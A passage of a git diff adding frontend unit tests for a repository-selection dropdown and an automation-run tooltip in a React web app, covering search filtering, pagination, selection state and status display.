+      await userEvent.click(input);
+      await userEvent.type(input, "hello");
+
+      expect(input.value).toBe("hello");
+
+      // Move cursor to position 2 and type
+      input.setSelectionRange(2, 2);
+      await userEvent.type(input, "X");
+
+      // The character should be inserted (exact position may vary based on browser behavior)
+      expect(input.value).toContain("X");
+    });
+  });
+
+  describe("input synchronization", () => {
+    it("should show selected branch name in input when provided", async () => {
+      const selectedBranch = MOCK_BRANCHES[0];
+      renderDropdown({ selectedBranch });
+
+      const input = screen.getByTestId(
+        "git-branch-dropdown-input",
+      ) as HTMLInputElement;
+
+      await waitFor(() => {
+        expect(input.value).toBe(selectedBranch.name);
+      });
+    });
+  });
+
+  describe("branch selection", () => {
+    it("should call onBranchSelect when a branch is selected", async () => {
+      renderDropdown();
+
+      const input = screen.getByTestId("git-branch-dropdown-input");
+      await userEvent.click(input);
+
+      // Wait for dropdown to open and show branches
+      await waitFor(() => {
+        expect(screen.getByText("main")).toBeInTheDocument();
+      });
+
+      // Click on a branch
+      await userEvent.click(screen.getByText("develop"));
+
+      expect(mockOnBranchSelect).toHaveBeenCalledWith(MOCK_BRANCHES[1]);
+    });
+  });
+});
diff --git a/__tests__/components/features/home/git-repo-dropdown.test.tsx b/__tests__/components/features/home/git-repo-dropdown.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..8203f60be8e926235bed3394e805a295348c439c
--- /dev/null
+++ b/__tests__/components/features/home/git-repo-dropdown.test.tsx
@@ -0,0 +1,755 @@
+import {
+  fireEvent,
+  render,
+  screen,
+  waitFor,
+  within,
+} from "@testing-library/react";
+import { describe, expect, vi, it } from "vitest";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import userEvent from "@testing-library/user-event";
+import { GitRepoDropdown } from "../../../../src/components/features/home/git-repo-dropdown/git-repo-dropdown";
+import { GitRepository } from "#/types/git";
+import { I18nKey } from "#/i18n/declaration";
+
+const useTranslationMock = vi.hoisted(() =>
+  vi.fn((namespace: string) => ({
+    t: (key: string) => `${namespace}:${key}`,
+  })),
+);
+
+vi.mock("react-i18next", () => ({
+  useTranslation: useTranslationMock,
+}));
+
+const translated = (key: I18nKey) => `openhands:${key}`;
+
+// Mock the repository data hook
+const mockUseRepositoryData = vi.fn();
+vi.mock(
+  "#/components/features/home/git-repo-dropdown/use-repository-data",
+  () => ({
+    useRepositoryData: (...args: unknown[]) => mockUseRepositoryData(...args),
+  }),
+);
+
+// Mock the URL search hook
+const mockUseUrlSearch = vi.fn();
+vi.mock("#/components/features/home/git-repo-dropdown/use-url-search", () => ({
+  useUrlSearch: (...args: unknown[]) => mockUseUrlSearch(...args),
+}));
+
+vi.mock("#/hooks/use-debounce", () => ({
+  useDebounce: (value: string) => value,
+}));
+
+// Mock useConfig
+vi.mock("#/hooks/query/use-config", () => ({
+  useConfig: () => ({ data: null }),
+}));
+
+const homeStore = vi.hoisted(() => ({
+  recentRepositories: [] as GitRepository[],
+}));
+
+// Mock useHomeStore
+vi.mock("#/stores/home-store", () => ({
+  useHomeStore: () => homeStore,
+}));
+
+const MOCK_REPOSITORIES: GitRepository[] = [
+  {
+    id: "1",
+    full_name: "user/repo-one",
+    git_provider: "github",
+    is_public: true,
+  },
+  {
+    id: "2",
+    full_name: "user/repo-two",
+    git_provider: "github",
+    is_public: true,
+  },
+  {
+    id: "3",
+    full_name: "org/feature-repo",
+    git_provider: "github",
+    is_public: false,
+  },
+];
+
+const mockOnChange = vi.fn();
+
+const setupDefaultMocks = (
+  repositoryDataOverrides: Partial<
+    ReturnType<typeof mockUseRepositoryData>
+  > = {},
+  urlSearchOverrides: Partial<ReturnType<typeof mockUseUrlSearch>> = {},
+) => {
+  mockUseRepositoryData.mockReturnValue({
+    repositories: MOCK_REPOSITORIES,
+    selectedRepository: null,
+    isLoading: false,
+    isError: false,
+    fetchNextPage: vi.fn(),
+    hasNextPage: false,
+    isFetchingNextPage: false,
+    isSearchLoading: false,
+    ...repositoryDataOverrides,
+  });
+
+  mockUseUrlSearch.mockReturnValue({
+    urlSearchResults: [],
+    isUrlSearchLoading: false,
+    ...urlSearchOverrides,
+  });
+};
+
+const renderDropdown = (
+  props: Partial<Parameters<typeof GitRepoDropdown>[0]> = {},
+  repositoryDataOverrides: Partial<
+    ReturnType<typeof mockUseRepositoryData>
+  > = {},
+  urlSearchOverrides: Partial<ReturnType<typeof mockUseUrlSearch>> = {},
+  recentRepositories: GitRepository[] = [],
+) => {
+  vi.clearAllMocks();
+  homeStore.recentRepositories = recentRepositories;
+  // Set up mocks with optional overrides
+  setupDefaultMocks(repositoryDataOverrides, urlSearchOverrides);
+
+  return render(
+    <GitRepoDropdown
+      provider="github"
+      onChange={mockOnChange}
+      // eslint-disable-next-line react/jsx-props-no-spreading
+      {...props}
+    />,
+    {
+      wrapper: ({ children }) => (
+        <QueryClientProvider
+          client={
+            new QueryClient({
+              defaultOptions: {
+                queries: {
+                  retry: false,
+                },
+              },
+            })
+          }
+        >
+          {children}
+        </QueryClientProvider>
+      ),
+    },
+  );
+};
+
+function setMenuScrollMetrics(
+  menu: HTMLElement,
+  {
+    scrollTop,
+    scrollHeight = 100,
+    clientHeight = 20,
+  }: { scrollTop: number; scrollHeight?: number; clientHeight?: number },
+) {
+  Object.defineProperties(menu, {
+    scrollTop: { configurable: true, value: scrollTop },
+    scrollHeight: { configurable: true, value: scrollHeight },
+    clientHeight: { configurable: true, value: clientHeight },
+  });
+}
+
+describe("GitRepoDropdown", () => {
+  describe("dropdown behavior", () => {
+    it("renders localized defaults and preserves presentation overrides", () => {
+      const view = renderDropdown({ className: "repository-root" });
+      const input = screen.getByTestId("git-repo-dropdown");
+
+      expect(input).toHaveValue("");
+      expect(input).toHaveAttribute(
+        "placeholder",
+        translated(I18nKey.COMMON$SEARCH_REPOSITORIES_PLACEHOLDER),
+      );
+      expect(input.parentElement?.parentElement).toHaveClass(
+        "relative",
+        "repository-root",
+      );
+      expect(input).toHaveClass(
+        "text-inherit",
+        "shadow-none",
+        "pl-7",
+        "pr-16",
+        "text-sm",
+        "font-normal",
+        "leading-5",
+        "placeholder:text-[var(--oh-muted)]",
+        "disabled:cursor-not-allowed",
+        "disabled:opacity-60",
+      );
+      expect(
+        input.previousElementSibling?.querySelector("svg"),
+      ).toBeInTheDocument();
+      expect(
+        input.previousElementSibling?.querySelector(".animate-spin"),
+      ).not.toBeInTheDocument();
+      expect(
+        screen.queryByText(translated(I18nKey.COMMON$MOST_RECENT)),
+      ).not.toBeInTheDocument();
+
+      view.rerender(
+        <GitRepoDropdown
+          provider="github"
+          placeholder="Choose a repository"
+          className="repository-root"
+          onChange={mockOnChange}
+        />,
+      );
+
+      expect(input).toHaveAttribute("placeholder", "Choose a repository");
+    });
+
+    it("should open dropdown when input is clicked", async () => {
+      renderDropdown();
+
+      const input = screen.getByTestId("git-repo-dropdown");
+      await userEvent.click(input);
+
+      // Dropdown should be open (menu should be visible)
+      await waitFor(() => {
+        expect(
+          screen.getByTestId("git-repo-dropdown-menu"),
+        ).toBeInTheDocument();
+      });
+    });
+
+    it("should keep dropdown open when clicking input while already open", async () => {
+      renderDropdown();
+
+      const input = screen.getByTestId("git-repo-dropdown");
+
+      // First click - open dropdown
+      await userEvent.click(input);
+      await waitFor(() => {
+        expect(
+          screen.getByTestId("git-repo-dropdown-menu"),
+        ).toBeInTheDocument();
+      });
+
+      // Second click on input - should stay open (not close)
+      await userEvent.click(input);
+
+      // Dropdown should still be open
+      await waitFor(() => {
+        expect(
+          screen.getByTestId("git-repo-dropdown-menu"),
+        ).toBeInTheDocument();
+      });
+    });
+
+    it("keeps repository options uniquely keyed when results reorder", async () => {
+      const user = userEvent.setup();
+      const consoleError = vi.spyOn(console, "error").mockImplementation(() => {});
+      const view = renderDropdown();
+      const input = screen.getByTestId("git-repo-dropdown");
+
+      try {
+        await user.click(input);
+        setupDefaultMocks({
+          repositories: [MOCK_REPOSITORIES[2], MOCK_REPOSITORIES[0]],
+        });
+        view.rerender(
+          <GitRepoDropdown provider="github" onChange={mockOnChange} />,
+        );
+
+        expect(
+          screen.getAllByRole("option").map((option) => option.textContent),
+        ).toEqual(["org/feature-repo", "user/repo-one"]);
+        expect(consoleError).not.toHaveBeenCalledWith(
+          expect.stringContaining('unique "key" prop'),
+        );
+      } finally {
+        consoleError.mockRestore();
+      }
+    });
+
+    it("should preserve typed text when clicking input while typing", async () => {
+      renderDropdown();
+
+      const input = screen.getByTestId("git-repo-dropdown") as HTMLInputElement;
+
+      // Click to open and type
+      await userEvent.click(input);
+      await userEvent.type(input, "repo");
+
+      expect(input.value).toBe("repo");
+
+      // Click on input again (should not reset text)
+      await userEvent.click(input);
+
+      // Text should be preserved
+      expect(input.value).toBe("repo");
+    });
+
+    it("clears an unselected search when the menu closes", async () => {
+      const user = userEvent.setup();
+      renderDropdown();
+      const input = screen.getByTestId("git-repo-dropdown");
+
+      await user.click(input);
+      await user.type(input, "repo");
+      await user.keyboard("{Escape}");
+
+      expect(input).toHaveValue("");
+      expect(screen.getByTestId("git-repo-dropdown-menu")).toHaveClass(
+        "hidden",
+      );
+    });
+
+    it("preserves keyboard input when typing opens the menu", async () => {
+      const user = userEvent.setup();
+      renderDropdown();
+      const input = screen.getByTestId("git-repo-dropdown");
+
+      await user.tab();
+      expect(input).toHaveFocus();
+      await user.keyboard("repo");
+
+      expect(input).toHaveValue("repo");
+      expect(screen.getByTestId("git-repo-dropdown-menu")).not.toHaveClass(
+        "hidden",
+      );
+    });
+  });
+
+  describe("cursor position preservation", () => {
+    it("should allow editing in the middle of input text", async () => {
+      renderDropdown();
+
+      const input = screen.getByTestId("git-repo-dropdown") as HTMLInputElement;
+
+      // Click and type initial text
+      await userEvent.click(input);
+      await userEvent.type(input, "hello");
+
+      expect(input.value).toBe("hello");
+
+      // Move cursor to position 2 and type
+      input.setSelectionRange(2, 2);
+      await userEvent.type(input, "X");
+
+      // The character should be inserted (exact position may vary based on browser behavior)
+      expect(input.value).toContain("X");
+    });
+  });
+
+  describe("input synchronization", () => {
+    it("should show selected repository name in input when provided", async () => {
+      const selectedRepository = MOCK_REPOSITORIES[0];
+
+      renderDropdown({ value: selectedRepository.id }, { selectedRepository });
+
+      const input = screen.getByTestId("git-repo-dropdown") as HTMLInputElement;
+
+      await waitFor(() => {
+        expect(input.value).toBe(selectedRepository.full_name);
+      });
+    });
+
+    it("preserves an active search when repository data changes", async () => {
+      const user = userEvent.setup();
+      const view = renderDropdown(
+        { value: MOCK_REPOSITORIES[0].id },
+        { selectedRepository: MOCK_REPOSITORIES[0] },
+      );
+      const input = screen.getByTestId("git-repo-dropdown");
+      await waitFor(() => expect(input).toHaveValue("user/repo-one"));
+
+      await user.click(input);
+      await user.clear(input);
+      await user.type(input, "draft-search");
+      setupDefaultMocks({ selectedRepository: MOCK_REPOSITORIES[1] });
+      view.rerender(
+        <GitRepoDropdown
+          provider="github"
+          value={MOCK_REPOSITORIES[1].id}
+          onChange={mockOnChange}
+        />,
+      );
+
+      expect(input).toHaveValue("draft-search");
+    });
+  });
+
+  describe("repository selection", () => {
+    it("should call onChange when a repository is selected", async () => {
+      renderDropdown();
+
+      const input = screen.getByTestId("git-repo-dropdown");
+      await userEvent.click(input);
+
+      // Wait for dropdown to open and show repositories
+      await waitFor(() => {
+        expect(screen.getByText("user/repo-one")).toBeInTheDocument();
+      });
+
+      // Click on a repository
+      await userEvent.click(screen.getByText("user/repo-two"));
+
+      expect(mockOnChange).toHaveBeenCalledWith(MOCK_REPOSITORIES[1]);
+      await waitFor(() =>
+        expect(screen.getByTestId("git-repo-dropdown-menu")).toHaveClass(
+          "hidden",
+        ),
+      );
+    });
+
+    it("should keep selected repo visible even if it's not in fetched results", async () => {
+      // selectedRepository from useRepositoryData stays null in our default mocks,
+      // which matches the real-world scenario where a recent repo isn't yet loaded.
+      renderDropdown();
+
+      const input = screen.getByTestId("git-repo-dropdown") as HTMLInputElement;
+      await userEvent.click(input);
+
+      await waitFor(() => {
+        expect(screen.getByText("user/repo-two")).toBeInTheDocument();
+      });
+
+      await userEvent.click(screen.getByText("user/repo-two"));
+
+      await waitFor(() => {
+        expect(input.value).toBe("user/repo-two");
+      });
+    });
+
+    it("clears a locally selected repository and reports an undefined selection", async () => {
+      const user = userEvent.setup();
+      renderDropdown();
+      const input = screen.getByTestId("git-repo-dropdown") as HTMLInputElement;
+
+      await user.click(input);
+      await user.click(await screen.findByText("user/repo-two"));
+      await user.click(await screen.findByTestId("dropdown-clear"));
+
+      await waitFor(() => expect(input).toHaveValue(""));
+      expect(mockOnChange).toHaveBeenLastCalledWith(undefined);
+    });
+
+    it("still updates its visible selection when no change callback is provided", async () => {
+      const user = userEvent.setup();
+      renderDropdown({ onChange: undefined });
+      const input = screen.getByTestId("git-repo-dropdown") as HTMLInputElement;
+
+      await user.click(input);
+      await user.click(await screen.findByText("user/repo-one"));
+
+      await waitFor(() => expect(input).toHaveValue("user/repo-one"));
+    });
+
+    it("clears an externally selected repository when the controlled value becomes null", async () => {
+      const selectedRepository = MOCK_REPOSITORIES[0];
+      const view = renderDropdown(
+        { value: selectedRepository.id },
+        { selectedRepository },
+      );
+      const input = screen.getByTestId("git-repo-dropdown") as HTMLInputElement;
+      await waitFor(() => expect(input).toHaveValue("user/repo-one"));
+
+      setupDefaultMocks({ selectedRepository: null });
+      view.rerender(
+        <GitRepoDropdown
+          provider="github"
+          value={null}
+          onChange={mockOnChange}
+        />,
+      );
+
+      await waitFor(() => expect(input).toHaveValue(""));
+      expect(screen.queryByTestId("dropdown-clear")).not.toBeInTheDocument();
+    });
+
+    it("marks an externally selected repository and still lists every repository", async () => {
+      const user = userEvent.setup();
+      renderDropdown(
+        { value: MOCK_REPOSITORIES[0].id },
+        { selectedRepository: MOCK_REPOSITORIES[0] },
+      );
+      const input = screen.getByTestId("git-repo-dropdown");
+      await waitFor(() => expect(input).toHaveValue("user/repo-one"));
+
+      await user.click(input);
+
+      const options = screen.getAllByRole("option");
+      expect(options).toHaveLength(MOCK_REPOSITORIES.length);
+      const selectedOption = within(
+        screen.getByTestId("git-repo-dropdown-menu"),
+      ).getByRole("option", { name: "user/repo-one" });
+      const unselectedOption = within(
+        screen.getByTestId("git-repo-dropdown-menu"),
+      ).getByRole("option", { name: "user/repo-two" });
+      expect(selectedOption).toHaveAttribute("aria-selected", "true");
+      expect(selectedOption).toHaveClass("bg-[var(--oh-interactive-selected)]");
+      expect(unselectedOption).toHaveAttribute("aria-selected", "false");
+      expect(unselectedOption).toHaveClass(
+        "hover:bg-[var(--oh-interactive-hover)]",
+      );
+    });
+
+    it("uses the latest callback when a selected repository is cleared", async () => {
+      const user = userEvent.setup();
+      const initialOnChange = vi.fn();
+      const latestOnChange = vi.fn();
+      const view = renderDropdown({ onChange: initialOnChange });
+      const input = screen.getByTestId("git-repo-dropdown");
+
+      await user.click(input);
+      await user.click(await screen.findByText("user/repo-one"));
+      expect(initialOnChange).toHaveBeenCalledWith(MOCK_REPOSITORIES[0]);
+
+      view.rerender(
+        <GitRepoDropdown provider="github" onChange={latestOnChange} />,
+      );
+      await user.click(screen.getByTestId("dropdown-clear"));
+
+      expect(latestOnChange).toHaveBeenCalledWith(undefined);
+      expect(initialOnChange).toHaveBeenCalledTimes(1);
+    });
+
+    it("keeps a local selection while an external repository is unresolved", async () => {
+      const user = userEvent.setup();
+      const view = renderDropdown();
+      const input = screen.getByTestId("git-repo-dropdown");
+
+      await user.click(input);
+      await user.click(await screen.findByText("user/repo-two"));
+      await waitFor(() => expect(input).toHaveValue("user/repo-two"));
+
+      view.rerender(
+        <GitRepoDropdown
+          provider="github"
+          value="unresolved-repository"
+          onChange={mockOnChange}
+        />,
+      );
+
+      await waitFor(() => expect(input).toHaveValue("user/repo-two"));
+      expect(screen.getByTestId("dropdown-clear")).toBeInTheDocument();
+    });
+  });
+
+  describe("repository search", () => {
+    it.each([
+      ["a repository URL", "https://github.com/user/repo-two", "user/repo-two"],
+      [
+        "an incomplete URL",
+        "https://github.com/user",
+        "https://github.com/user",
+      ],
+    ])(
+      "passes the processed search for %s",
+      async (_label, inputText, search) => {
+        const user = userEvent.setup();
+        renderDropdown();
+        const input = screen.getByTestId("git-repo-dropdown");
+
+        await user.click(input);
+        await user.type(input, inputText);
+
+        await waitFor(() => {
+          expect(mockUseRepositoryData).toHaveBeenLastCalledWith(
+            "github",
+            false,
+            search,
+            [],
+            inputText,
+            undefined,
+            undefined,
+          );
+        });
+      },
+    );
+
+    it("filters a repository URL by its owner and repository path", async () => {
+      const user = userEvent.setup();
+      renderDropdown();
+      const input = screen.getByTestId("git-repo-dropdown");
+
+      await user.click(input);
+      await user.type(input, "https://github.com/user/repo-two");
+
+      expect(await screen.findByText("user/repo-two")).toBeInTheDocument();
+      expect(screen.queryByText("user/repo-one")).not.toBeInTheDocument();
+    });
+
+    it("shows repository data directly when URL search supplied a result", async () => {
+      const user = userEvent.setup();
+      renderDropdown({}, {}, { urlSearchResults: [MOCK_REPOSITORIES[2]] });
+      const input = screen.getByTestId("git-repo-dropdown");
+
+      await user.click(input);
+      await user.type(input, "does-not-match-any-name");
+
+      expect(await screen.findByText("user/repo-one")).toBeInTheDocument();
+      expect(screen.getByText("org/feature-repo")).toBeInTheDocument();
+    });
+
+    it("prioritizes matching recent repositories from the active provider", async () => {
+      const user = userEvent.setup();
+      const otherProviderRepository: GitRepository = {
+        id: "gitlab-1",
+        full_name: "team/gitlab-repo",
+        git_provider: "gitlab",
+        is_public: true,
+      };
+      renderDropdown({}, {}, {}, [
+        MOCK_REPOSITORIES[1],
+        otherProviderRepository,
+      ]);
+
+      await user.click(screen.getByTestId("git-repo-dropdown"));
+
+      expect(
+        screen.getByText(translated(I18nKey.COMMON$MOST_RECENT)),
+      ).toBeInTheDocument();
+      expect(
+        screen.getAllByRole("option").map((option) => option.textContent),
+      ).toEqual(["user/repo-two", "user/repo-one", "org/feature-repo"]);
+      expect(screen.queryByText("team/gitlab-repo")).not.toBeInTheDocument();
+
+      await user.type(screen.getByTestId("git-repo-dropdown"), "repo-two");
+      expect(screen.getAllByRole("option")).toHaveLength(1);
+      expect(screen.getByText("user/repo-two")).toBeInTheDocument();
+    });
+
+    it("updates and case-folds recent repositories as the search changes", async () => {
+      const user = userEvent.setup();
+      renderDropdown({}, {}, {}, [MOCK_REPOSITORIES[0], MOCK_REPOSITORIES[1]]);
+      const input = screen.getByTestId("git-repo-dropdown");
+
+      await user.click(input);
+      await user.type(input, "REPO-TWO");
+
+      expect(
+        screen.getByText(translated(I18nKey.COMMON$MOST_RECENT)),
+      ).toBeInTheDocument();
+      expect(
+        screen.getAllByRole("option").map((option) => option.textContent),
+      ).toEqual(["user/repo-two"]);
+
+      await user.clear(input);
+      await user.type(input, "missing-repository");
+
+      expect(
+        screen.queryByText(translated(I18nKey.COMMON$MOST_RECENT)),
+      ).not.toBeInTheDocument();
+      expect(screen.getByTestId("git-repo-dropdown-empty")).toHaveTextContent(
+        translated(I18nKey.HOME$NO_REPOSITORY_FOUND),
+      );
+    });
+
+    it("uses a repository URL to filter recent repositories", async () => {
+      const user = userEvent.setup();
+      renderDropdown({}, {}, {}, [MOCK_REPOSITORIES[0], MOCK_REPOSITORIES[1]]);
+      const input = screen.getByTestId("git-repo-dropdown");
+
+      await user.click(input);
+      await user.type(input, "https://github.com/user/repo-two");
+
+      expect(
+        screen.getByText(translated(I18nKey.COMMON$MOST_RECENT)),
+      ).toBeInTheDocument();
+      expect(
+        screen.getAllByRole("option").map((option) => option.textContent),
+      ).toEqual(["user/repo-two"]);
+    });
+
+    it("treats whitespace-only input as an empty search", async () => {
+      const user = userEvent.setup();
+      renderDropdown({}, {}, {}, [MOCK_REPOSITORIES[0]]);
+      const input = screen.getByTestId("git-repo-dropdown");
+
+      await user.click(input);
+      await user.type(input, "   ");
+
+      expect(
+        screen.getAllByRole("option").map((option) => option.textContent),
+      ).toEqual(["user/repo-one", "user/repo-two", "org/feature-repo"]);
+      expect(
+        screen.getByText(translated(I18nKey.COMMON$MOST_RECENT)),
+      ).toBeInTheDocument();
+    });
+
+    it("shows the localized empty state for an empty repository list", async () => {
+      const user = userEvent.setup();
+      renderDropdown({}, { repositories: [] });
+
+      await user.click(screen.getByTestId("git-repo-dropdown"));
+
+      expect(screen.getByTestId("git-repo-dropdown-empty")).toHaveTextContent(
+        translated(I18nKey.COMMON$NO_REPOSITORY),
+      );
+    });
+  });
+
+  describe("pagination", () => {
+    it.each([
+      ["near the bottom with another page", 70, true, false, 1],
+      ["away from the bottom", 20, true, false, 0],
+      ["near the bottom without another page", 70, false, false, 0],
+      ["near the bottom during an existing fetch", 70, true, true, 0],
+    ])(
+      "requests the next page when scrolled %s",
+      async (_label, scrollTop, hasNextPage, isFetchingNextPage, callCount) => {
+        const fetchNextPage = vi.fn();
+        const user = userEvent.setup();
+        renderDropdown({}, { fetchNextPage, hasNextPage, isFetchingNextPage });
+        await user.click(screen.getByTestId("git-repo-dropdown"));
+        const menu = screen.getByTestId("git-repo-dropdown-menu");
+        setMenuScrollMetrics(menu, { scrollTop });
+
+        fireEvent.scroll(menu);
+
+        expect(fetchNextPage).toHaveBeenCalledTimes(callCount);
+      },
+    );
+
+    it("uses updated pagination state after repository data changes", async () => {
+      const user = userEvent.setup();
+      const initialFetchNextPage = vi.fn();
+      const updatedFetchNextPage = vi.fn();
+      const view = renderDropdown(
+        {},
+        { fetchNextPage: initialFetchNextPage, hasNextPage: false },
+      );
+      await user.click(screen.getByTestId("git-repo-dropdown"));
+
+      setupDefaultMocks({
+        fetchNextPage: updatedFetchNextPage,
+        hasNextPage: true,
+      });
+      view.rerender(
+        <GitRepoDropdown provider="github" onChange={mockOnChange} />,
+      );
+      const menu = screen.getByTestId("git-repo-dropdown-menu");
+      setMenuScrollMetrics(menu, { scrollTop: 70 });
+      fireEvent.scroll(menu);
+
+      expect(updatedFetchNextPage).toHaveBeenCalledTimes(1);
+      expect(initialFetchNextPage).not.toHaveBeenCalled();
+    });
+  });
+
+  describe("loading feedback", () => {
+    it.each([
+      ["initial repositories", { isLoading: true }, {}],
+      ["repository search", { isSearchLoading: true }, {}],
+      ["the next page", { isFetchingNextPage: true }, {}],
+      ["URL lookup", {}, { isUrlSearchLoading: true }],
+    ])("shows a spinner while loading %s", (_label, repository, urlSearch) => {
+      const { container } = renderDropdown({}, repository, urlSearch);
+
+      expect(container.querySelector(".animate-spin")).toBeInTheDocument();
+    });
+  });
+});
diff --git a/__tests__/components/features/home/home-automation-run-tooltip.test.tsx b/__tests__/components/features/home/home-automation-run-tooltip.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..fb99debaeac95e2f2aa398502c38e60bb2a5e382
--- /dev/null
+++ b/__tests__/components/features/home/home-automation-run-tooltip.test.tsx
@@ -0,0 +1,243 @@
+import { describe, expect, it, vi } from "vitest";
+import { render, screen } from "@testing-library/react";
+
+import { HomeAutomationRunTooltip } from "#/components/features/home/featured-automations/home-automation-run-tooltip";
+import type { LatestAutomationRunState } from "#/hooks/query/use-latest-automation-runs";
+import {
+  AutomationRunStatus,
+  type Automation,
+  type AutomationRun,
+} from "#/types/automation";
+
+vi.mock("react-i18next", () => ({
+  useTranslation: () => ({
+    // Counted keys keep their count, so a test can assert which relative-time
+    // key was chosen *and* the number handed to it, not just the key.
+    t: (key: string, options?: Record<string, unknown>) =>
+      options?.count === undefined ? key : `${key}:${options.count}`,
+    i18n: { language: "en" },
+  }),
+}));
+
+const automation: Automation = {
+  id: "auto-1",
+  name: "Release notes drafter",
+  prompt: "Draft release notes",
+  trigger: { type: "cron", schedule: "0 12 * * 5" },
+  enabled: true,
+  created_at: "2026-01-01T00:00:00Z",
+  updated_at: "2026-01-01T00:00:00Z",
+};
+
+function makeRun(overrides: Partial<AutomationRun> = {}): AutomationRun {
+  return {
+    id: "run-1",
+    status: AutomationRunStatus.RUNNING,
+    conversation_id: null,
+    bash_command_id: null,
+    error_detail: null,
+    started_at: "2026-08-01T10:00:00Z",
+    completed_at: null,
+    ...overrides,
+  };
+}
+
+function makeState(run: AutomationRun | null): LatestAutomationRunState {
+  return {
+    latestRun: run,
+    recentRuns: run ? [run] : [],
+    isLoading: false,
+    isError: false,
+  };
+}
+
+// The row that opens this hovercard clips a long phase; the hovercard is the
+// place where the whole phase has to be readable.
+const LONG_LABEL =
+  "Rendering the changelog for 37 merged pull requests across 4 repositories";
+
+describe("HomeAutomationRunTooltip — phase", () => {
+  it("shows the phase of a running run in full", () => {
+    render(
+      <HomeAutomationRunTooltip
+        automation={automation}
+        runState={makeState(
+          makeRun({ phase_code: "drafting_notes", phase_label: LONG_LABEL }),
+        )}
+      />,
+    );
+
+    expect(screen.getByTestId("run-phase-row")).toHaveTextContent(LONG_LABEL);
+  });
+
+  it("translates a phase code the frontend knows instead of printing it raw", () => {
+    render(
+      <HomeAutomationRunTooltip
+        automation={automation}
+        runState={makeState(
+          makeRun({ phase_code: "bundle_upload", phase_label: null }),
+        )}
+      />,
+    );
+
+    expect(screen.getByTestId("run-phase-row")).toHaveTextContent(
+      "AUTOMATIONS$DETAIL$PHASE_BUNDLE_UPLOAD",
+    );
+  });
+
+  it("says how long the run has held the phase, so a stall is visible without opening the run", () => {
+    render(
+      <HomeAutomationRunTooltip
+        automation={automation}
+        runState={makeState(
+          makeRun({
+            phase_code: "drafting_notes",
+            phase_label: LONG_LABEL,
+            phase_updated_at: new Date(Date.now() - 25 * 60_000).toISOString(),
+          }),
+        )}
+      />,
+    );
+
+    expect(screen.getByTestId("run-phase-row")).toHaveTextContent(
+      "AUTOMATIONS$DETAIL$TIME_MINUTES_AGO:25",
+    );
+  });
+
+  it("shows the phase without an age against a service that sends no timestamp", () => {
+    render(
+      <HomeAutomationRunTooltip
+        automation={automation}
+        runState={makeState(
+          makeRun({ phase_code: "drafting_notes", phase_label: LONG_LABEL }),
+        )}
+      />,
+    );
+
+    const row = screen.getByTestId("run-phase-row");
+    expect(row).toHaveTextContent(LONG_LABEL);
+    expect(row.textContent).not.toContain("AUTOMATIONS$DETAIL$TIME_");
+  });
+
+  it("omits the phase row for a finished run, matching every other surface", () => {
+    render(
+      <HomeAutomationRunTooltip
+        automation={automation}
+        runState={makeState(
+          makeRun({
+            status: AutomationRunStatus.COMPLETED,
+            completed_at: "2026-08-01T10:05:00Z",
+            phase_code: "running_agent",
+            phase_label: null,
+          }),
+        )}
+      />,
+    );
+
+    expect(screen.queryByTestId("run-phase-row")).not.toBeInTheDocument();
+  });
+
+  it("omits the phase row when the run never reported one", () => {
+    render(
+      <HomeAutomationRunTooltip
+        automation={automation}
+        runState={makeState(makeRun())}
+      />,
+    );
+
+    expect(screen.queryByTestId("run-phase-row")).not.toBeInTheDocument();
+  });
+});
+
+describe("HomeAutomationRunTooltip — task outcome", () => {
+  it("shows completed run task outcome and summary instead of infra error copy", () => {
+    render(
+      <HomeAutomationRunTooltip
+        automation={automation}
+        runState={makeState(
+          makeRun({
+            status: AutomationRunStatus.COMPLETED,
+            completed_at: "2026-08-01T10:05:00Z",
+            error_detail: "HUBSPOT_API_KEY was unavailable.",
+            run_metadata: {
+              finish_tool_response: {
+                status: "blocked",
+                outcome_summary:
+                  "Attempted HubSpot CRM contact search but HUBSPOT_API_KEY was unavailable.",
+              },
+            },
+          }),
+        )}
+      />,
+    );
+
+    expect(screen.getByText("AUTOMATIONS$DETAIL$BLOCKED")).toBeInTheDocument();
+    expect(
+      screen.getByText("AUTOMATIONS$DETAIL$TASK_LABEL"),
+    ).toBeInTheDocument();
+    expect(
+      screen.getByText(
+        "Attempted HubSpot CRM contact search but HUBSPOT_API_KEY was unavailable.",
+      ),
+    ).toBeInTheDocument();
+    expect(
+      screen.queryByText("HUBSPOT_API_KEY was unavailable."),
+    ).not.toBeInTheDocument();
+  });
+});
+
+describe("HomeAutomationRunTooltip — disabled reason", () => {
+  it("surfaces an automatic-pause reason on an inactive automation", () => {
+    const reason =
+      "Paused automatically: auth — Invalid API key. This failed the last 3 runs and needs a configuration fix.";
+    render(
+      <HomeAutomationRunTooltip
+        automation={{
+          ...automation,
+          enabled: false,
+          disabled_reason: reason,
+          disabled_detail: {
+            reason: "consecutive_permanent_failures",
+            source: "consecutive_permanent_failures",
+          },
+        }}
+        runState={makeState(null)}
+      />,
+    );
+
+    expect(screen.getByTestId("automation-tooltip-disabled-reason")).toHaveTextContent(
+      reason,
+    );
+  });
+
+  it("substitutes the manual-disable label instead of the raw 'manual' value", () => {
+    render(
+      <HomeAutomationRunTooltip
+        automation={{
+          ...automation,
+          enabled: false,
+          disabled_reason: "manual",
+          disabled_detail: { reason: "manual", source: "user" },
+        }}
+        runState={makeState(null)}
+      />,
+    );
+
+    expect(screen.getByTestId("automation-tooltip-disabled-reason")).toHaveTextContent(
+      "AUTOMATIONS$DETAIL$DISABLED_MANUAL",
+    );
+  });
+
+  it("omits the disabled-reason row for an enabled automation", () => {
+    render(
+      <HomeAutomationRunTooltip
+        automation={{ ...automation, enabled: true, disabled_reason: null }}
+        runState={makeState(makeRun())}
+      />,
+    );
+
+    expect(
+      screen.queryByTestId("automation-tooltip-disabled-reason"),
+    ).not.toBeInTheDocument();
+  });
+});
diff --git a/__tests__/components/features/home/home-chat-launcher.test.tsx b/__tests__/components/features/home/home-chat-launcher.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..e58245b3536113dcd5b410a113adb32bbdbe1563
--- /dev/null
+++ b/__tests__/components/features/home/home-chat-launcher.test.tsx
@@ -0,0 +1,667 @@
+import { render, screen, waitFor } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import toast from "react-hot-toast";
+
